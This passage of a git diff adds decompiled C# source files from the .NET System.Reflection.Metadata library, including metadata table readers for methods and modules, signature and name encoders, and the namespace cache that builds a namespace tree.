index 0000000..93c3bc5 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/MethodImplTableReader.cs @@ -0,0 +1,76 @@ +using System.Reflection.Internal; + +namespace System.Reflection.Metadata.Ecma335; + +internal readonly struct MethodImplTableReader +{ + internal readonly int NumberOfRows; + + private readonly bool _IsTypeDefTableRowRefSizeSmall; + + private readonly bool _IsMethodDefOrRefRefSizeSmall; + + private readonly int _ClassOffset; + + private readonly int _MethodBodyOffset; + + private readonly int _MethodDeclarationOffset; + + internal readonly int RowSize; + + internal readonly MemoryBlock Block; + + internal MethodImplTableReader(int numberOfRows, bool declaredSorted, int typeDefTableRowRefSize, int methodDefOrRefRefSize, MemoryBlock containingBlock, int containingBlockOffset) + { + NumberOfRows = numberOfRows; + _IsTypeDefTableRowRefSizeSmall = typeDefTableRowRefSize == 2; + _IsMethodDefOrRefRefSizeSmall = methodDefOrRefRefSize == 2; + _ClassOffset = 0; + _MethodBodyOffset = _ClassOffset + typeDefTableRowRefSize; + _MethodDeclarationOffset = _MethodBodyOffset + methodDefOrRefRefSize; + RowSize = _MethodDeclarationOffset + methodDefOrRefRefSize; + Block = containingBlock.GetMemoryBlockAt(containingBlockOffset, RowSize * numberOfRows); + if (!declaredSorted && !CheckSorted()) + { + Throw.TableNotSorted(TableIndex.MethodImpl); + } + } + + internal TypeDefinitionHandle GetClass(MethodImplementationHandle handle) + { + int num = (handle.RowId - 1) * RowSize; + return TypeDefinitionHandle.FromRowId(Block.PeekReference(num + _ClassOffset, _IsTypeDefTableRowRefSizeSmall)); + } + + internal EntityHandle GetMethodBody(MethodImplementationHandle handle) + { + int num = (handle.RowId - 1) * RowSize; + return MethodDefOrRefTag.ConvertToHandle(Block.PeekTaggedReference(num + _MethodBodyOffset, _IsMethodDefOrRefRefSizeSmall)); + } + + internal EntityHandle GetMethodDeclaration(MethodImplementationHandle handle) + { + int num = (handle.RowId - 1) * RowSize; + return MethodDefOrRefTag.ConvertToHandle(Block.PeekTaggedReference(num + _MethodDeclarationOffset, _IsMethodDefOrRefRefSizeSmall)); + } + + internal void GetMethodImplRange(TypeDefinitionHandle typeDef, out int firstImplRowId, out int lastImplRowId) + { + Block.BinarySearchReferenceRange(NumberOfRows, RowSize, _ClassOffset, (uint)typeDef.RowId, _IsTypeDefTableRowRefSizeSmall, out var startRowNumber, out var endRowNumber); + if (startRowNumber == -1) + { + firstImplRowId = 1; + lastImplRowId = 0; + } + else + { + firstImplRowId = startRowNumber + 1; + lastImplRowId = endRowNumber + 1; + } + } + + private bool CheckSorted() + { + return Block.IsOrderedByReferenceAscending(RowSize, _ClassOffset, _IsTypeDefTableRowRefSizeSmall); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/MethodPtrTableReader.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/MethodPtrTableReader.cs new file mode 100644 index 0000000..68ccb2d --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/MethodPtrTableReader.cs @@ -0,0 +1,36 @@ +using System.Reflection.Internal; + +namespace System.Reflection.Metadata.Ecma335; + +internal readonly struct MethodPtrTableReader +{ + internal readonly int NumberOfRows; + + private readonly bool _IsMethodTableRowRefSizeSmall; + + private readonly int _MethodOffset; + + internal readonly int RowSize; + + internal readonly MemoryBlock Block; + + internal MethodPtrTableReader(int numberOfRows, int methodTableRowRefSize, MemoryBlock containingBlock, int containingBlockOffset) + { + NumberOfRows = numberOfRows; + _IsMethodTableRowRefSizeSmall = methodTableRowRefSize == 2; + _MethodOffset = 0; + RowSize = _MethodOffset + methodTableRowRefSize; + Block = containingBlock.GetMemoryBlockAt(containingBlockOffset, RowSize * numberOfRows); + } + + internal MethodDefinitionHandle GetMethodFor(int rowId) + { + int num = (rowId - 1) * RowSize; + return MethodDefinitionHandle.FromRowId(Block.PeekReference(num + _MethodOffset, _IsMethodTableRowRefSizeSmall)); + } + + internal int GetRowIdForMethodDefRow(int methodDefRowId) + { + return Block.LinearSearchReference(RowSize, _MethodOffset, (uint)methodDefRowId, _IsMethodTableRowRefSizeSmall) + 1; + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/MethodSemanticsTableReader.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/MethodSemanticsTableReader.cs new file mode 100644 index 0000000..9bc2c80 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/MethodSemanticsTableReader.cs @@ -0,0 +1,87 @@ +using System.Reflection.Internal; + +namespace System.Reflection.Metadata.Ecma335; + +internal readonly struct MethodSemanticsTableReader +{ + internal readonly int NumberOfRows; + + private readonly bool _IsMethodTableRowRefSizeSmall; + + private readonly bool _IsHasSemanticRefSizeSmall; + + private readonly int _SemanticsFlagOffset; + + private readonly int _MethodOffset; + + private readonly int _AssociationOffset; + + internal readonly int RowSize; + + internal readonly MemoryBlock Block; + + internal MethodSemanticsTableReader(int numberOfRows, bool declaredSorted, int methodTableRowRefSize, int hasSemanticRefSize, MemoryBlock containingBlock, int containingBlockOffset) + { + NumberOfRows = numberOfRows; + _IsMethodTableRowRefSizeSmall = methodTableRowRefSize == 2; + _IsHasSemanticRefSizeSmall = hasSemanticRefSize == 2; + _SemanticsFlagOffset = 0; + _MethodOffset = _SemanticsFlagOffset + 2; + _AssociationOffset = _MethodOffset + methodTableRowRefSize; + RowSize = _AssociationOffset + hasSemanticRefSize; + Block = containingBlock.GetMemoryBlockAt(containingBlockOffset, RowSize * numberOfRows); + if (!declaredSorted && !CheckSorted()) + { + Throw.TableNotSorted(TableIndex.MethodSemantics); + } + } + + internal MethodDefinitionHandle GetMethod(int rowId) + { + int num = (rowId - 1) * RowSize; + return MethodDefinitionHandle.FromRowId(Block.PeekReference(num + _MethodOffset, _IsMethodTableRowRefSizeSmall)); + } + + internal MethodSemanticsAttributes GetSemantics(int rowId) + { + int num = (rowId - 1) * RowSize; + return (MethodSemanticsAttributes)Block.PeekUInt16(num + _SemanticsFlagOffset); + } + + internal EntityHandle GetAssociation(int rowId) + { + int num = (rowId - 1) * RowSize; + return HasSemanticsTag.ConvertToHandle(Block.PeekTaggedReference(num + _AssociationOffset, _IsHasSemanticRefSizeSmall)); + } + + internal int FindSemanticMethodsForEvent(EventDefinitionHandle eventDef, out ushort methodCount) + { + methodCount = 0; + uint searchCodedTag = HasSemanticsTag.ConvertEventHandleToTag(eventDef); + return BinarySearchTag(searchCodedTag, ref methodCount); + } + + internal int FindSemanticMethodsForProperty(PropertyDefinitionHandle propertyDef, out ushort methodCount) + { + methodCount = 0; + uint searchCodedTag = HasSemanticsTag.ConvertPropertyHandleToTag(propertyDef); + return BinarySearchTag(searchCodedTag, ref methodCount); + } + + private int BinarySearchTag(uint searchCodedTag, ref ushort methodCount) + { + Block.BinarySearchReferenceRange(NumberOfRows, RowSize, _AssociationOffset, searchCodedTag, _IsHasSemanticRefSizeSmall, out var startRowNumber, out var endRowNumber); + if (startRowNumber == -1) + { + methodCount = 0; + return 0; + } + methodCount = (ushort)(endRowNumber - startRowNumber + 1); + return startRowNumber + 1; + } + + private bool CheckSorted() + { + return Block.IsOrderedByReferenceAscending(RowSize, _AssociationOffset, _IsHasSemanticRefSizeSmall); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/MethodSignatureEncoder.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/MethodSignatureEncoder.cs new file mode 100644 index 0000000..20234a5 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/MethodSignatureEncoder.cs @@ -0,0 +1,40 @@ +namespace System.Reflection.Metadata.Ecma335; + +public readonly struct MethodSignatureEncoder +{ + public BlobBuilder Builder { get; } + + public bool HasVarArgs { get; } + + public MethodSignatureEncoder(BlobBuilder builder, bool hasVarArgs) + { + Builder = builder; + HasVarArgs = hasVarArgs; + } + + public void Parameters(int parameterCount, out ReturnTypeEncoder returnType, out ParametersEncoder parameters) + { + if ((uint)parameterCount > 536870911u) + { + Throw.ArgumentOutOfRange("parameterCount"); + } + Builder.WriteCompressedInteger(parameterCount); + returnType = new ReturnTypeEncoder(Builder); + parameters = new ParametersEncoder(Builder, HasVarArgs); + } + + public void Parameters(int parameterCount, Action returnType, Action parameters) + { + if (returnType == null) + { + Throw.ArgumentNull("returnType"); + } + if (parameters == null) + { + Throw.ArgumentNull("parameters"); + } + Parameters(parameterCount, out var returnType2, out var parameters2); + returnType(returnType2); + parameters(parameters2); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/MethodSpecTableReader.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/MethodSpecTableReader.cs new file mode 100644 index 0000000..057a7bc --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/MethodSpecTableReader.cs @@ -0,0 +1,43 @@ +using System.Reflection.Internal; + +namespace System.Reflection.Metadata.Ecma335; + +internal readonly struct MethodSpecTableReader +{ + internal readonly int NumberOfRows; + + private readonly bool _IsMethodDefOrRefRefSizeSmall; + + private readonly bool _IsBlobHeapRefSizeSmall; + + private readonly int _MethodOffset; + + private readonly int _InstantiationOffset; + + internal readonly int RowSize; + + internal readonly MemoryBlock Block; + + internal MethodSpecTableReader(int numberOfRows, int methodDefOrRefRefSize, int blobHeapRefSize, MemoryBlock containingBlock, int containingBlockOffset) + { + NumberOfRows = numberOfRows; + _IsMethodDefOrRefRefSizeSmall = methodDefOrRefRefSize == 2; + _IsBlobHeapRefSizeSmall = blobHeapRefSize == 2; + _MethodOffset = 0; + _InstantiationOffset = _MethodOffset + methodDefOrRefRefSize; + RowSize = _InstantiationOffset + blobHeapRefSize; + Block = containingBlock.GetMemoryBlockAt(containingBlockOffset, RowSize * numberOfRows); + } + + internal EntityHandle GetMethod(MethodSpecificationHandle handle) + { + int num = (handle.RowId - 1) * RowSize; + return MethodDefOrRefTag.ConvertToHandle(Block.PeekTaggedReference(num + _MethodOffset, _IsMethodDefOrRefRefSizeSmall)); + } + + internal BlobHandle GetInstantiation(MethodSpecificationHandle handle) + { + int num = (handle.RowId - 1) * RowSize; + return BlobHandle.FromOffset(Block.PeekHeapReference(num + _InstantiationOffset, _IsBlobHeapRefSizeSmall)); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/MethodTableReader.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/MethodTableReader.cs new file mode 100644 index 0000000..98ed18c --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/MethodTableReader.cs @@ -0,0 +1,82 @@ +using System.Reflection.Internal; + +namespace System.Reflection.Metadata.Ecma335; + +internal readonly struct MethodTableReader +{ + internal readonly int NumberOfRows; + + private readonly bool _IsParamRefSizeSmall; + + private readonly bool _IsStringHeapRefSizeSmall; + + private readonly bool _IsBlobHeapRefSizeSmall; + + private readonly int _RvaOffset; + + private readonly int _ImplFlagsOffset; + + private readonly int _FlagsOffset; + + private readonly int _NameOffset; + + private readonly int _SignatureOffset; + + private readonly int _ParamListOffset; + + internal readonly int RowSize; + + internal readonly MemoryBlock Block; + + internal MethodTableReader(int numberOfRows, int paramRefSize, int stringHeapRefSize, int blobHeapRefSize, MemoryBlock containingBlock, int containingBlockOffset) + { + NumberOfRows = numberOfRows; + _IsParamRefSizeSmall = paramRefSize == 2; + _IsStringHeapRefSizeSmall = stringHeapRefSize == 2; + _IsBlobHeapRefSizeSmall = blobHeapRefSize == 2; + _RvaOffset = 0; + _ImplFlagsOffset = _RvaOffset + 4; + _FlagsOffset = _ImplFlagsOffset + 2; + _NameOffset = _FlagsOffset + 2; + _SignatureOffset = _NameOffset + stringHeapRefSize; + _ParamListOffset = _SignatureOffset + blobHeapRefSize; + RowSize = _ParamListOffset + paramRefSize; + Block = containingBlock.GetMemoryBlockAt(containingBlockOffset, RowSize * numberOfRows); + } + + internal int GetParamStart(int rowId) + { + int num = (rowId - 1) * RowSize; + return Block.PeekReference(num + _ParamListOffset, _IsParamRefSizeSmall); + } + + internal BlobHandle GetSignature(MethodDefinitionHandle handle) + { + int num = (handle.RowId - 1) * RowSize; + return BlobHandle.FromOffset(Block.PeekHeapReference(num + _SignatureOffset, _IsBlobHeapRefSizeSmall)); + } + + internal int GetRva(MethodDefinitionHandle handle) + { + int num = (handle.RowId - 1) * RowSize; + return Block.PeekInt32(num + _RvaOffset); + } + + internal StringHandle GetName(MethodDefinitionHandle handle) + { + int num = (handle.RowId - 1) * RowSize; + return StringHandle.FromOffset(Block.PeekHeapReference(num + _NameOffset, _IsStringHeapRefSizeSmall)); + } + + internal MethodAttributes GetFlags(MethodDefinitionHandle handle) + { + int num = (handle.RowId - 1) * RowSize; + return (MethodAttributes)Block.PeekUInt16(num + _FlagsOffset); + } + + internal MethodImplAttributes GetImplFlags(MethodDefinitionHandle handle) + { + int num = (handle.RowId - 1) * RowSize; + return (MethodImplAttributes)Block.PeekUInt16(num + _ImplFlagsOffset); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/ModuleRefTableReader.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/ModuleRefTableReader.cs new file mode 100644 index 0000000..7fc7783 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/ModuleRefTableReader.cs @@ -0,0 +1,31 @@ +using System.Reflection.Internal; + +namespace System.Reflection.Metadata.Ecma335; + +internal readonly struct ModuleRefTableReader +{ + internal readonly int NumberOfRows; + + private readonly bool _IsStringHeapRefSizeSmall; + + private readonly int _NameOffset; + + internal readonly int RowSize; + + internal readonly MemoryBlock Block; + + internal ModuleRefTableReader(int numberOfRows, int stringHeapRefSize, MemoryBlock containingBlock, int containingBlockOffset) + { + NumberOfRows = numberOfRows; + _IsStringHeapRefSizeSmall = stringHeapRefSize == 2; + _NameOffset = 0; + RowSize = _NameOffset + stringHeapRefSize; + Block = containingBlock.GetMemoryBlockAt(containingBlockOffset, RowSize * numberOfRows); + } + + internal StringHandle GetName(ModuleReferenceHandle handle) + { + int num = (handle.RowId - 1) * RowSize; + return StringHandle.FromOffset(Block.PeekHeapReference(num + _NameOffset, _IsStringHeapRefSizeSmall)); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/ModuleTableReader.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/ModuleTableReader.cs new file mode 100644 index 0000000..7ecf7ac --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/ModuleTableReader.cs @@ -0,0 +1,65 @@ +using System.Reflection.Internal; + +namespace System.Reflection.Metadata.Ecma335; + +internal readonly struct ModuleTableReader +{ + internal readonly int NumberOfRows; + + private readonly bool _IsStringHeapRefSizeSmall; + + private readonly bool _IsGUIDHeapRefSizeSmall; + + private readonly int _GenerationOffset; + + private readonly int _NameOffset; + + private readonly int _MVIdOffset; + + private readonly int _EnCIdOffset; + + private readonly int _EnCBaseIdOffset; + + internal readonly int RowSize; + + internal readonly MemoryBlock Block; + + internal ModuleTableReader(int numberOfRows, int stringHeapRefSize, int guidHeapRefSize, MemoryBlock containingBlock, int containingBlockOffset) + { + NumberOfRows = numberOfRows; + _IsStringHeapRefSizeSmall = stringHeapRefSize == 2; + _IsGUIDHeapRefSizeSmall = guidHeapRefSize == 2; + _GenerationOffset = 0; + _NameOffset = _GenerationOffset + 2; + _MVIdOffset = _NameOffset + stringHeapRefSize; + _EnCIdOffset = _MVIdOffset + guidHeapRefSize; + _EnCBaseIdOffset = _EnCIdOffset + guidHeapRefSize; + RowSize = _EnCBaseIdOffset + guidHeapRefSize; + Block = containingBlock.GetMemoryBlockAt(containingBlockOffset, RowSize * numberOfRows); + } + + internal ushort GetGeneration() + { + return Block.PeekUInt16(_GenerationOffset); + } + + internal StringHandle GetName() + { + return StringHandle.FromOffset(Block.PeekHeapReference(_NameOffset, _IsStringHeapRefSizeSmall)); + } + + internal GuidHandle GetMvid() + { + return GuidHandle.FromIndex(Block.PeekHeapReference(_MVIdOffset, _IsGUIDHeapRefSizeSmall)); + } + + internal GuidHandle GetEncId() + { + return GuidHandle.FromIndex(Block.PeekHeapReference(_EnCIdOffset, _IsGUIDHeapRefSizeSmall)); + } + + internal GuidHandle GetEncBaseId() + { + return GuidHandle.FromIndex(Block.PeekHeapReference(_EnCBaseIdOffset, _IsGUIDHeapRefSizeSmall)); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/NameEncoder.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/NameEncoder.cs new file mode 100644 index 0000000..ffd1927 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/NameEncoder.cs @@ -0,0 +1,24 @@ +namespace System.Reflection.Metadata.Ecma335; + +public readonly struct NameEncoder +{ + public BlobBuilder Builder { get; } + + public NameEncoder(BlobBuilder builder) + { + Builder = builder; + } + + public void Name(string name) + { + if (name == null) + { + Throw.ArgumentNull("name"); + } + if (name.Length == 0) + { + Throw.ArgumentEmptyString("name"); + } + Builder.WriteSerializedString(name); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/NamedArgumentTypeEncoder.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/NamedArgumentTypeEncoder.cs new file mode 100644 index 0000000..f7b1732 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/NamedArgumentTypeEncoder.cs @@ -0,0 +1,26 @@ +namespace System.Reflection.Metadata.Ecma335; + +public readonly struct NamedArgumentTypeEncoder +{ + public BlobBuilder Builder { get; } + + public NamedArgumentTypeEncoder(BlobBuilder builder) + { + Builder = builder; + } + + public CustomAttributeElementTypeEncoder ScalarType() + { + return new CustomAttributeElementTypeEncoder(Builder); + } + + public void Object() + { + Builder.WriteByte(81); + } + + public CustomAttributeArrayTypeEncoder SZArray() + { + return new CustomAttributeArrayTypeEncoder(Builder); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/NamedArgumentsEncoder.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/NamedArgumentsEncoder.cs new file mode 100644 index 0000000..e57a600 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/NamedArgumentsEncoder.cs @@ -0,0 +1,39 @@ +namespace System.Reflection.Metadata.Ecma335; + +public readonly struct NamedArgumentsEncoder +{ + public BlobBuilder Builder { get; } + + public NamedArgumentsEncoder(BlobBuilder builder) + { + Builder = builder; + } + + public void AddArgument(bool isField, out NamedArgumentTypeEncoder type, out NameEncoder name, out LiteralEncoder literal) + { + Builder.WriteByte((byte)(isField ? 83 : 84)); + type = new NamedArgumentTypeEncoder(Builder); + name = new NameEncoder(Builder); + literal = new LiteralEncoder(Builder); + } + + public void AddArgument(bool isField, Action type, Action name, Action literal) + { + if (type == null) + { + Throw.ArgumentNull("type"); + } + if (name == null) + { + Throw.ArgumentNull("name"); + } + if (literal == null) + { + Throw.ArgumentNull("literal"); + } + AddArgument(isField, out var type2, out var name2, out var literal2); + type(type2); + name(name2); + literal(literal2); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/NamespaceCache.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/NamespaceCache.cs new file mode 100644 index 0000000..535322e --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/NamespaceCache.cs @@ -0,0 +1,317 @@ +using System.Collections.Generic; +using System.Collections.Immutable; + +namespace System.Reflection.Metadata.Ecma335; + +internal sealed class NamespaceCache +{ + private sealed class NamespaceDataBuilder + { + public readonly NamespaceDefinitionHandle Handle; + + public readonly StringHandle Name; + + public readonly string FullName; + + public NamespaceDefinitionHandle Parent; + + public Builder Namespaces; + + public Builder TypeDefinitions; + + public Builder ExportedTypes; + + private NamespaceData _frozen; + + public NamespaceDataBuilder(NamespaceDefinitionHandle handle, StringHandle name, string fullName) + { + Handle = handle; + Name = name; + FullName = fullName; + Namespaces = ImmutableArray.CreateBuilder(); + TypeDefinitions = ImmutableArray.CreateBuilder(); + ExportedTypes = ImmutableArray.CreateBuilder(); + } + + public NamespaceData Freeze() + { + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + //IL_0054: Unknown result type (might be due to invalid IL or missing references) + //IL_0055: Unknown result type (might be due to invalid IL or missing references) + //IL_0056: Unknown result type (might be due to invalid IL or missing references) + if (_frozen == null) + { + ImmutableArray namespaceDefinitions = Namespaces.ToImmutable(); + Namespaces = null; + ImmutableArray typeDefinitions = TypeDefinitions.ToImmutable(); + TypeDefinitions = null; + ImmutableArray exportedTypes = ExportedTypes.ToImmutable(); + ExportedTypes = null; + _frozen = new NamespaceData(Name, FullName, Parent, namespaceDefinitions, typeDefinitions, exportedTypes); + } + return _frozen; + } + + public void MergeInto(NamespaceDataBuilder other) + { + Parent = default(NamespaceDefinitionHandle); + other.Namespaces.AddRange(Namespaces); + other.TypeDefinitions.AddRange(TypeDefinitions); + other.ExportedTypes.AddRange(ExportedTypes); + } + } + + private readonly MetadataReader _metadataReader; + + private readonly object _namespaceTableAndListLock = new object(); + + private volatile Dictionary _namespaceTable; + + private NamespaceData _rootNamespace; + + private uint _virtualNamespaceCounter; + + internal bool CacheIsRealized => _namespaceTable != null; + + internal NamespaceCache(MetadataReader reader) + { + _metadataReader = reader; + } + + internal string GetFullName(NamespaceDefinitionHandle handle) + { + NamespaceData namespaceData = GetNamespaceData(handle); + return namespaceData.FullName; + } + + internal NamespaceData GetRootNamespace() + { + EnsureNamespaceTableIsPopulated(); + return _rootNamespace; + } + + internal NamespaceData GetNamespaceData(NamespaceDefinitionHandle handle) + { + EnsureNamespaceTableIsPopulated(); + if (!_namespaceTable.TryGetValue(handle, out var value)) + { + Throw.InvalidHandle(); + } + return value; + } + + private StringHandle GetSimpleName(NamespaceDefinitionHandle fullNamespaceHandle, int segmentIndex = int.MaxValue) + { + StringHandle fullName = fullNamespaceHandle.GetFullName(); + int num = fullNamespaceHandle.GetHeapOffset() - 1; + for (int i = 0; i < segmentIndex; i++) + { + int num2 = _metadataReader.StringHeap.IndexOfRaw(num + 1, '.'); + if (num2 == -1) + { + break; + } + num = num2; + } + int heapOffset = num + 1; + return StringHandle.FromOffset(heapOffset).WithDotTermination(); + } + + private void PopulateNamespaceTable() + { + lock (_namespaceTableAndListLock) + { + if (_namespaceTable != null) + { + return; + } + Dictionary dictionary = new Dictionary(); + NamespaceDefinitionHandle namespaceDefinitionHandle = NamespaceDefinitionHandle.FromFullNameOffset(0); + dictionary.Add(namespaceDefinitionHandle, new NamespaceDataBuilder(namespaceDefinitionHandle, namespaceDefinitionHandle.GetFullName(), string.Empty)); + PopulateTableWithTypeDefinitions(dictionary); + PopulateTableWithExportedTypes(dictionary); + MergeDuplicateNamespaces(dictionary, out var stringTable); + ResolveParentChildRelationships(stringTable, out var virtualNamespaces); + Dictionary dictionary2 = new Dictionary(); + foreach (KeyValuePair item in dictionary) + { + dictionary2.Add(item.Key, item.Value.Freeze()); + } + if (virtualNamespaces != null) + { + foreach (NamespaceDataBuilder item2 in virtualNamespaces) + { + dictionary2.Add(item2.Handle, item2.Freeze()); + } + } + _rootNamespace = dictionary2[namespaceDefinitionHandle]; + _namespaceTable = dictionary2; + } + } + + private static void MergeDuplicateNamespaces(Dictionary table, out Dictionary stringTable) + { + Dictionary dictionary = new Dictionary(); + List> list = null; + foreach (KeyValuePair item in table) + { + NamespaceDataBuilder value = item.Value; + if (dictionary.TryGetValue(value.FullName, out var value2)) + { + value.MergeInto(value2); + if (list == null) + { + list = new List>(); + } + list.Add(new KeyValuePair(item.Key, value2)); + } + else + { + dictionary.Add(value.FullName, value); + } + } + if (list != null) + { + foreach (KeyValuePair item2 in list) + { + table[item2.Key] = item2.Value; + } + } + stringTable = dictionary; + } + + private NamespaceDataBuilder SynthesizeNamespaceData(string fullName, NamespaceDefinitionHandle realChild) + { + int num = 0; + foreach (char c in fullName) + { + if (c == '.') + { + num++; + } + } + StringHandle simpleName = GetSimpleName(realChild, num); + NamespaceDefinitionHandle handle = NamespaceDefinitionHandle.FromVirtualIndex(++_virtualNamespaceCounter); + return new NamespaceDataBuilder(handle, simpleName, fullName); + } + + private static void LinkChildDataToParentData(NamespaceDataBuilder child, NamespaceDataBuilder parent) + { + child.Parent = parent.Handle; + parent.Namespaces.Add(child.Handle); + } + + private void LinkChildToParentNamespace(Dictionary existingNamespaces, NamespaceDataBuilder realChild, ref List virtualNamespaces) + { + string fullName = realChild.FullName; + NamespaceDataBuilder child = realChild; + NamespaceDataBuilder value; + while (true) + { + int num = fullName.LastIndexOf('.'); + string text; + if (num == -1) + { + if (fullName.Length == 0) + { + return; + } + text = string.Empty; + } + else + { + text = fullName.Substring(0, num); + } + if (existingNamespaces.TryGetValue(text, out value)) + { + break; + } + if (virtualNamespaces != null) + { + foreach (NamespaceDataBuilder virtualNamespace in virtualNamespaces) + { + if (virtualNamespace.FullName == text) + { + LinkChildDataToParentData(child, virtualNamespace); + return; + } + } + } + else + { + virtualNamespaces = new List(); + } + NamespaceDataBuilder namespaceDataBuilder = SynthesizeNamespaceData(text, realChild.Handle); + LinkChildDataToParentData(child, namespaceDataBuilder); + virtualNamespaces.Add(namespaceDataBuilder); + fullName = namespaceDataBuilder.FullName; + child = namespaceDataBuilder; + } + LinkChildDataToParentData(child, value); + } + + private void ResolveParentChildRelationships(Dictionary namespaces, out List virtualNamespaces) + { + virtualNamespaces = null; + foreach (KeyValuePair @namespace in namespaces) + { + LinkChildToParentNamespace(namespaces, @namespace.Value, ref virtualNamespaces); + } + } + + private void PopulateTableWithTypeDefinitions(Dictionary table) + { + foreach (TypeDefinitionHandle typeDefinition in _metadataReader.TypeDefinitions) + { + if (!_metadataReader.GetTypeDefinition(typeDefinition).Attributes.IsNested()) + { + NamespaceDefinitionHandle namespaceDefinition = _metadataReader.TypeDefTable.GetNamespaceDefinition(typeDefinition); + if (table.TryGetValue(namespaceDefinition, out var value)) + { + value.TypeDefinitions.Add(typeDefinition); + continue; + } + StringHandle simpleName = GetSimpleName(namespaceDefinition); + string fullName = _metadataReader.GetString(namespaceDefinition); + NamespaceDataBuilder namespaceDataBuilder = new NamespaceDataBuilder(namespaceDefinition, simpleName, fullName); + namespaceDataBuilder.TypeDefinitions.Add(typeDefinition); + table.Add(namespaceDefinition, namespaceDataBuilder); + } + } + } + + private void PopulateTableWithExportedTypes(Dictionary table) + { + foreach (ExportedTypeHandle exportedType2 in _metadataReader.ExportedTypes) + { + ExportedType exportedType = _metadataReader.GetExportedType(exportedType2); + if (exportedType.Implementation.Kind != HandleKind.ExportedType) + { + NamespaceDefinitionHandle namespaceDefinition = exportedType.NamespaceDefinition; + if (table.TryGetValue(namespaceDefinition, out var value)) + { + value.ExportedTypes.Add(exportedType2); + continue; + } + StringHandle simpleName = GetSimpleName(namespaceDefinition); + string fullName = _metadataReader.GetString(namespaceDefinition); + NamespaceDataBuilder namespaceDataBuilder = new NamespaceDataBuilder(namespaceDefinition, simpleName, fullName); + namespaceDataBuilder.ExportedTypes.Add(exportedType2); + table.Add(namespaceDefinition, namespaceDataBuilder); + } + } + } + + private void EnsureNamespaceTableIsPopulated() + { + if (_namespaceTable == null) + { + PopulateNamespaceTable(); + } + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/NamespaceData.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/NamespaceData.cs new file mode 100644 index 0000000..fef800e --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/NamespaceData.cs @@ -0,0 +1,34 @@ +using System.Collections.Immutable; + +namespace System.Reflection.Metadata.Ecma335; + +internal sealed class NamespaceData +{ + public readonly StringHandle Name; + + public readonly string FullName; + + public readonly NamespaceDefinitionHandle Parent; + + public readonly ImmutableArray NamespaceDefinitions; + + public readonly ImmutableArray TypeDefinitions; + + public readonly ImmutableArray ExportedTypes; + + public NamespaceData(StringHandle name, string fullName, NamespaceDefinitionHandle parent, ImmutableArray namespaceDefinitions, ImmutableArray typeDefinitions, ImmutableArray exportedTypes) + { + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + //IL_0024: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + Name = name; + FullName = fullName; + Parent = parent; + NamespaceDefinitions = namespaceDefinitions; + TypeDefinitions = typeDefinitions; + ExportedTypes = exportedTypes; + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/NestedClassTableReader.cs 